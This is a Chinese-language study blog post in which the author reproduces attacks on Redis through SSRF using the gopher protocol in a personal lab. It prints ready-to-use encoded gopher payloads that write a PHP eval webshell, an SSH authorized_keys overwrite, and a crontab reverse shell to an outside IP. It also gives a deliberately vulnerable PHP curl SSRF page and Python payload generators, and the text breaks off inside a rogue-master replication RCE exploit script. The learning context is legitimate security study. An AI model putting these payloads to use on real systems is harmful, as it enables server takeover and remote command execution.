前言
面试问到了,只知道有哪些,但是没有自己实践过。这里学习记录下。
前置知识
SSRF介绍
SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统
CONFIG SET
Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。
你可以使用它修改配置参数,或者改变 Redis 的持久化(Persistence)方式。
CONFIG SET dir /VAR/WWW/HTML CONFIG SET dbfilename sh.php SET PAYLOAD '<?php eval($_GET[0]);?>' SAVE
这是之前redis常用的getshell套路。但是由于权限问题,并不是总能成功写入文件。
RESP协议
Redis
服务器与客户端通过RESP
(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
- 客户端将命令作为
Bulk Strings
的RESP数组发送到Redis服务器。 - 服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings
,回复的第一个字节是+
对于error
,回复的第一个字节是-
对于Integer
,回复的第一个字节是:
对于Bulk Strings
,回复的第一个字节是$
对于array
,回复的第一个字节是*
此外,RESP
能够使用稍后指定的Bulk Strings
或Array
的特殊变体来表示Null
值。
在RESP中,协议的不同部分始终以"
"(CRLF)
结束。
这里本地测试下
tcpdump port 6379 -w nopass.pcap
无论用tcpdump还是socat转发都抓不到任何流量,我傻了。用了socat也是一样。发现达不到文章中的效果。崩溃了,搞了好几个小时,根本抓不到本地的。害,只能远程
可以看到
中间还有很多乱码
后面才搞懂。是可以利用socat的,看一篇文章中的解释,没看清,我晕。
我们这里先开启redis-server /etc/redis.conf
在执行,意思为将4444端口收到的请求转发给6379端口(我TM就搁着浪费了2个小时,文章中没说清楚socat两个端口,还整一个6378和6379,哎,应该早点去百度下socat的命令的,煞x了)
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
这里用redis-cli连接4444端口,就可以抓到数据了,用tcpdump有乱码
每行都是
结尾的,但是redis的协议是以CRLF结尾,所以如果这样的数据直接复制粘贴下来去转换的时候,要把
转换为%0d%0a
客户端向将命令作为Bulk Strings
的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3
,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$3
代表字符串的长度,0d0a
即
表示结束符;+OK
表示服务端执行成功后返回的字符串
Redis配合gopher协议进行SSRF
Gopher协议
Gopher
协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了Gopher
协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
当存在ssrf漏洞,并且有回显的时候
test.php
<?php
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它传递给浏览器
curl_close($ch); // 关闭cURL资源,并且释放系统资源
?>
redis常见的SSRF攻击方式大概有这几种:
-
绝对路径写webshell
-
写ssh公钥
-
写contrab计划任务反弹shell
我逐个来尝试复现
绝对路径写webshell
利用条件:
1、目标存在web目录
2、已知web绝对路径
3、存在写入权限
构造如下payload:
flushall set 1 '<?php phpinfo();?>' config set dir /var/www/html config set dbfilename shell.php save
整理获得如下payload
*1 $8 flushall *3 $3 set $1 1 $18 <?php phpinfo();?> *4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $9 shell.php *1 $4 save
这里给出Joychu师傅给出的转换规则
- 如果第一个字符是
>
或者<
那么丢弃该行字符串,表示请求和返回的时间。- 如果前3个字符是
+OK
那么丢弃该行字符串,表示返回的字符串。- 将
字符串替换成
%0d%0a
- 空白行替换为
%0a
Joychu师傅的转换脚本:
#coding: utf-8 #author: JoyChou import sys exp = '' with open(sys.argv[1]) as f: for line in f.readlines(): if line[0] in '><+': continue # 判断倒数第2、3字符串是否为 elif line[-3:-1] == r' ': # 如果该行只有 ,将 替换成%0a%0d%0a if len(line) == 3: exp = exp + '%0a%0d%0a' else: line = line.replace(r' ', '%0d%0a') # 去掉最后的换行符 line = line.replace(' ', '') exp = exp + line # 判断是否是空行,空行替换为%0a elif line == 'x0a': exp = exp + '%0a' else: line = line.replace(' ', '') exp = exp + line print exp
再放一个七友师傅写的脚本:
import urllib protocol="gopher://" ip="192.168.163.128" port="6379" shell=" <?php eval($_GET["cmd"]);?> " filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF=" " redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
这里我们已经自己手动过滤了一下,用sinensis师傅写的即可
f = open('payload.txt', 'r') s = '' for line in f.readlines(): line = line.replace(r" ", "%0d%0a") line = line.replace(" ", '') s = s + line print s.replace("$", "%24")
本地curl尝试
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
这里也可以用gopherus,直接生成
curl -v "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
成功
在ssrf利用的时候将redis命令部分在进行urlencode一次即可(这里我用的是靶机 10003开的是80,10004开的redis的6379)
http://xx.xx.xx.28:10003/test.php?url=gopher://xx.xx.xx.28:10004/_*1%250d%250a%25248%250d%250aflushall%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252418%250d%250a%3C%3Fphp%20phpinfo()%3B%3F%3E%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2Fvar%2Fwww%2Fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a
上面是我用自己生成的phpinfo payload打没有打成功。将gopher的payload再次urlencode一次后,发现能打成功。
http://xx.xxx.xx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527yunying%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
对比了一下第一次的payload,除了可能内容上我写的是phpinfo,而gopherus写的是shell
my: gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a gopherus: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
my:
gopherus:
my:
问题应该出在这两个换行,从我自己的可以看到,payload被一些乱码干扰到。所以gopherus这里换行的目的应该是不让乱码字符干扰payload
像Joychu师傅这里的是58个字符,这里payload前面用三个换行,结束用了四个换行,加上原来的一共61个
而上面gopherus生成的默认都是前两个后两个换行,可以从redis.py源码也能看到
这里在记录下 的东西
Unix系统里,每行结尾只有“<换行>”,即“ ”;Windows系统里面,每行结尾是“<换行><回车>”,即“ ”;Mac系统里,每行结尾是“<回车>”。一个直接后果是,Unix/Mac系统下的文件在Windows里打开的话,所有文字会变成一行;而Windows里的文件在Unix/Mac下打开的话,在每行的结尾可能会多出一个^M符号
也就是说,再linux中直接用python脚本调用urlencode一次,默认每行结尾都有 即%0a,但是RESP协议规定始终以CRLF结尾,即 结尾,因此都会加一个 ,这样就满足了RESP协议的规定。就先写到这了,明儿继续,1点了睡觉~。
为了验证一下,手动修改增加两个换行符%0a,并且增加字符数,发现仍然不行。回头一想既然用我自己构造的payload本地gopher直接打redis是可以打出来的,应该是url编码问题。第一次本地打gopher不是在ssrf利用的时候发现就已经整体urlencode了一遍(不知特殊字符),并且将*等都urlencode了。这里我通过python url全编码尝试。意思就是不需要通过sinensis师傅的转换脚本,我们直接将手动滤出的redis命令通过urllib.quote_plus(测试用urllib.quote即可,_plus会将空格转化为+号)
这里可以发现确实是url编码的问题,再次全编码转后的数据
第一次: %2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2418%0D%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A 第二次: %252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
第二次:
http://xx.xxx.xxx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如果这样利用的话,不需要这么麻烦,推荐用gopherus生成的payload再urlencode一次即可,或者用七友师傅的脚本生成的payload再次urlencode一次即可在ssrf漏洞中攻击redis绝对路径写shell
写ssh公钥
在以下条件下,可以利用此方法
Redis服务使用ROOT账号启动
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
如果.ssh
目录存在,则直接写入~/.ssh/authorized_keys
如果不存在,则可以利用crontab
创建该目录
跟上面的写shell方式类似,我先尝试本地利用再利用ssrf漏洞上打exp
我们先本地生成一对密钥
本地的命令如下:
flushall set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying ' config set dir /root/.ssh/ config set dbfilename authorized_keys save
socat抓一下redis流量直接过滤出来
*1 $8 flushall *3 $3 set $1 1 $565 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying *4 $6 config $3 set $3 dir $11 /root/.ssh/ *4 $6 config $3 set $10 dbfilename $15 authorized_keys *1 $4 save
这里本地可以利用私钥登录尝试,不过这里我没有设置
登陆(即通过客户端公钥认证)这里用curl本地打一下
还是那个问题,最好还是最前面和最后面加两个换行,不要干扰到我们插入的数据
手动加了两个换行的就是这样的,将数据放在了中间,不要让一些乱码干扰到数据
这里不用SSRF再打了,url编码搞定,基本再encode一次即可
计划任务写shell
利用条件:权限可写计划任务
这个方法只能
Centos
上使用,Ubuntu上行不通
,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw-------
才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab
PS:高版本的redis默认启动是redis
权限,故写这个文件是行不通的在redis以root权限运行时可以写crontab来执行命令反弹shell
这里靶机是ubuntu和kali所以就不实际操作一下了。
命令如下 :
flushall set 1 ' */1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1 ' config set dir /var/spool/cron/ config set dbfilename root save
明天学习下主从复制,最近有些心态不好。
主从复制RCE
介绍
redis 4.x/5.x RCE是由LC/BC
战队队员Pavel Toporkov
在zeronights 2018
上提出的基于主从复制的redis rce,演讲的PPT地址为:PPT(纯英文)
攻击场景
能够访问远程redis的端口(直接访问或者SSRF)
对redis服务器可以访问到的另一台服务器有控制权
可影响版本范围redis 4.x-5.0.5
主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。 redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
建立主从复制,有3种方式:
- 配置文件写入
slaveof <master_ip> <master_port>
- redis-server启动命令后加入
--slaveof <master_ip> <master_port>
- 连接到客户端之后执行:slaveof
<master_ip> <master_port>
PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作
执行如下:
root@kali:/usr/bin# redis-cli -p 6379 127.0.0.1:6379> SLAVEOF 127.0.0.1 6380 SLAVEOF命令为redis设置主服务器。 OK 127.0.0.1:6379> get test (nil) 127.0.0.1:6379> exit root@kali:/usr/bin# redis-cli -p 6380 127.0.0.1:6380> get test (nil) 127.0.0.1:6380> set test "test" OK 127.0.0.1:6380> get test "test" 127.0.0.1:6380> exit root@kali:/usr/bin# redis-cli -p 6379 127.0.0.1:6379> get test "test"
执行一波,我们可以明显看到数据达到了同步的效果.
如果我们想解除主从关系可以执行SLAVEOF NO ONE
PPT中的攻击步骤
SLAVE和MASTER之间的握手机制如下:
#define REPL_STATE_CONNECTING 2 /* 等待和master连接 */ /* --- 握手状态开始 --- */ #define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */ #define REPL_STATE_SEND_AUTH 4 /* 发送认证消息 */ #define REPL_STATE_RECEIVE_AUTH 5 /* 等待认证回复 */ #define REPL_STATE_SEND_PORT 6 /* 发送REPLCONF信息,主要是当前实例监听端口 */ #define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */ #define REPL_STATE_SEND_CAPA 8 /* 发送REPLCONF capa */ #define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */ #define REPL_STATE_SEND_PSYNC 10 /* 发送PSYNC */ #define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */ /* --- 握手状态结束 --- */ #define REPL_STATE_TRANSFER 12 /* 正在从master接收RDB文件 */
握手后SLAVE将向MASTER发送PSYNC请求同步,一般有三种状态:
- FULLRESYNC:表示需要全量复制
- CONTINUE:表示可以进行增量同步
- ERR:表示主服务器还不支持PSYNC
全量复制到 过程
1.slave向master发送PSYNC请求,并携带master的runid和offest,如果是第一次连接的话slave不知道master的runid,所以会返回runid为?
,offest为-1
2.master验证slave发来的runid是否和自身runid一致,如不一致,则进行全量复制,slave并对master发来的runid和offest进行保存
3.master把自己的runid和offset发给slave
4.master进行bgsave,生成RDB文件
5.master将写好的RDB文件传输给slave,并将缓冲区内的数据传输给slave
6.slave加载RDB文件和缓冲区数据
并且自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。
Redis模块是动态库,可以在启动时或使用MODULE LOAD
命令加载到Redis中。
具体攻击流程:
配置一个我们需要以master身份给slave传输so文件的服务,大致流程如下
PING 测试连接是否可用 +PONG 告诉slave连接可用 REPLCONF 发送REPLCONF信息,主要是当前实例监听端口 +OK 告诉slave成功接受 REPLCONF 发送REPLCONF capa +OK 告诉slave成功接受 PSYNC <rundi> <offest> 发送PSYNC
将要攻击的redis服务器设置成我们的slave
SLAVEOF ip port
设置RDB文件
PS:这里注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用config set dir path
config set dbfilename exp.so
告诉slave使用全量复制并从我们配置的Rouge Server接收module
+FULLRESYNC <runid> <offest> $<len(payload)> <payload>
其中<runid>
无要求,不过长度一般为40,<offest>
一般设置为1
两个exp链接:
https://github.com/vulhub/redis-rogue-getshell
https://github.com/n0b0dyCN/redis-rogue-server
也可以参考七友师傅写的exp
import socket import time CRLF=" " payload=open("exp.so","rb").read() exp_filename="exp.so" def redis_format(arr): global CRLF global payload redis_arr=arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len(x))+CRLF+x cmd+=CRLF return cmd def redis_connect(rhost,rport): sock=socket.socket() sock.connect((rhost,rport)) return sock def send(sock,cmd): sock.send(redis_format(cmd)) print(sock.recv(1024).decode("utf-8")) def interact_shell(sock): flag=True try: while flag: shell=raw_input("